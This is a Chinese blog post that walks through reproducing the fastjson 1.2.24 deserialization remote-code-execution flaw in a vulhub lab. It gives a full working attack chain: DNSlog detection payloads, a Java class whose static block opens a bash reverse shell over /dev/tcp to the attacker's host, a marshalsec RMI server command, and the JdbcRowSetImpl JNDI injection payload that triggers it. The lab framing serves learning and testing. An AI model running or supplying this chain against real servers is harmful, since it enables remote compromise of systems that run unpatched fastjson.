fastjson1.2.24-RCE漏洞复现

最近在做渗透测试的时候遇到了fastjson-RCE但是反弹shell无果,但还是记录一下。

1.实验环境

靶机:kali2020 vulhub
攻击机:win10(用来抓包放包)ubuntu(在这我用的我公网的机器,用来接收shell)

2.fastjsion简介

Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

3.环境准备

安装JDK环境,ubunt(kali)是自带的,但是可能会报错,这是因为缺少组件

https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html根据自己系统选择相应jdk下载。

mkdir /opt/java

tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java

vim  /etc/profile

末尾增加

export JAVA_HOME=/opt/java/jdk1.8.0_251

export JRE_HOME=/opt/java/jdk1.8.0_251

export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib

export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin

source /etc/profile,刷新环境变量。

安装maven(linux为例)

wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

mkdir /opt/maven

tar zxvf [apache-maven-3.6.3-bin.tar.gz](https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz) -C /opt/maven/

配置环境变量

vim /etc/profile

在最下面增加

export MAVEN_HOME=/opt/maven/apache-maven-3.6.3

export PATH=$MAVEN_HOME/bin:$PATH

4.开启复现

1.开启环境

root@kali:~/vulhub# cd fastjson/
root@kali:~/vulhub/fastjson# ls
1.2.24-rce  1.2.47-rce  vuln
root@kali:~/vulhub/fastjson# cd 1.2.24-rce/
root@kali:~/vulhub/fastjson/1.2.24-rce# ls
1.png  docker-compose.yml  marshalsec  README.md
root@kali:~/vulhub/fastjson/1.2.24-rce# docker-compose up -d
Starting 1224-rce_web_1 ... done
root@kali:~/vulhub/fastjson/1.2.24-rce# 

2.访问目标进行漏洞验证

我们可以看到有json数据

进行抓包之后呢,我们使用payload进行盲打,首先去dnslog去整一个域名来盲打,

payload:

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

1.2.67版本后payload

 {"@type":"java.net.Inet4Address","val":"dnslog"}
 {"@type":"java.net.Inet6Address","val":"dnslog"}
 畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}

发送之后,我们可以看到,已经收到请求了,说明存在这个fastjson的漏洞。

3.弹shell

首先呢,我们先新建一个java脚本(TouchFile)

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();


String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/接收shell的IP/端口 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}

在该文件下打开命令行进行编译,编译成.class

将编译好的class文件放到web目录下,我的以前搭建过网站,我放到网站下边了,也可以使用python -m http.server 6666(注意在class下)开个简易的服务

我们进入搭建RMI服务的target目录内

使用

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP/#TouchFile" 1234

这里的vpsIP是指你的公网的开启web后放入TouchFile.class的那台服务器。本意为,使用marshalsec-0.0.3-SNAPSHOT-all.jar在本机的9999端口开启一个RMI服务加载TouchFile.class文件。

我们在开一个终端,来监听端口

抓包发送一下payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://IP:1234/TouchFile",
        "autoCommit":true
    }
}

成功接收到shell

posted @ 2022-04-01 17:38  CHOSEN1K08  阅读(825)  评论(0)    收藏  举报